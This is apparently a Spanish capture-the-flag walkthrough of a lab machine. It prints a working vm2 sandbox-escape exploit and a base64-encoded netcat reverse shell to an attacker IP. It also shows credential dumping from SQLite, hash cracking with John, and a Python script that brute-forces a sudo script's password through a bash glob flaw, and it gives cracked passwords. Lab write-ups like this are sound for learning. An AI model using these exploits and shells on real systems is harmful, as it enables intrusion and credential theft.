Hacemos un escaneo con Nmap de los puertos y las versiones de los servicios que estan corriendo Vemos que hay un puerto 22,80 abiertos, vamos a a ver que hay en el puerto 80 vemos que hay un apartado de about, y dentro nos pone la libreria que esta usando para hacer el sandbox vb2 apesar de no saber la version vamos a ver si tiene alguna vulnerabilidad https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244 en este caso vamos a hacer uso de este codigo

const {VM} = require("vm2");
const vm = new VM();
 
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
 
console.log(vm.run(code));

en este codigo lo unico que tenemos que hacer es cambiar donde pone ‘touch pwned’ por el comando que queramos ejecutar ahora solo debemos mandarnos una revershell, en caso de tener conflicto con los signos podemos pasarlo a base 64 y decodificarlo en el codigo de esta forma:

const {VM} = require("vm2");
const vm = new VM();
 
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
 
const base64String = 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTYuOTEgNDQ0NCA+L3RtcC9m'
const decoded = Buffer.from(base64String, 'base64').toString('utf-8')
 
 
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync(decoded);
}
`
 
console.log(vm.run(code));

en este caso estoy mandandome una revershell por medio de fifo ya que el resto por alguna razon no las puedo usar despues del Tratamiento de la tty se tendria que ver asi, vemos que hay dos usuarios svc es el que ya tenemos pero tenemos que ver alguna forma de escalar los privilegios, si miramos los archivos ocultos del usuario svc vemos que esta instalado pm2 que es una herramienta para la gestion de procesos en app basadas en node.js

pm2 ps

ahora vamos a ver mas informacion del proceso 0

pm2 desc 0

hemos encontrado el direcotrio de trabajo del servidior, si vemos desde /var/www vemos una carpeta contacts la cual tiene un archivo nombrado como tickets.db ahora usando sqlite3 podemos ver el contenido de la base de datos

sqlite3 tickets.db

ahora podemos hacer peticiones, y para listar las tablas hacemos esto:

select * from sqlite_master where type = "table";

ahoa vamos a listar los usuario y passwords

select username,password from users

ahora solo debemos hacer fuerza bruta con jhon

john --format=bcrypt credentials --wordlist /usr/share/wordlists/rockyou.txt
john credentials --show

password: spongebob1

nos conectamos por ssh y ya estemos la session

ahora falta la de root, si hacemos sudo -l y vemos que tenemos acceso a este recurso como root El archivo en cuestion es este

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
 
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
 
if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
 
/usr/bin/mkdir -p "$BACKUP_DIR"
 
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
 
for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
 
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

para ejecutarlo nos pide una contraseña, vamos a hacer fuerza bruta:

import string
import os
 
def check_password(p):
	command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
	result = os.popen(command).read()
	return "Password confirmed!" in result
 
charset = string.ascii_letters + string.digits
password = ""
is_password_found = False
 
while not is_password_found:
	for char in charset:
		if check_password(password + char):
			password += char
			break
	else:
		is_password_found = True
 
		with open("root-pass.txt", "w") as file:
			file.write(password)

(en el home del usuario vemos un script en py que hace lo mismo) Password: kljh12k3jhaskjh12kjh3 ahora ya tenemos acceso a root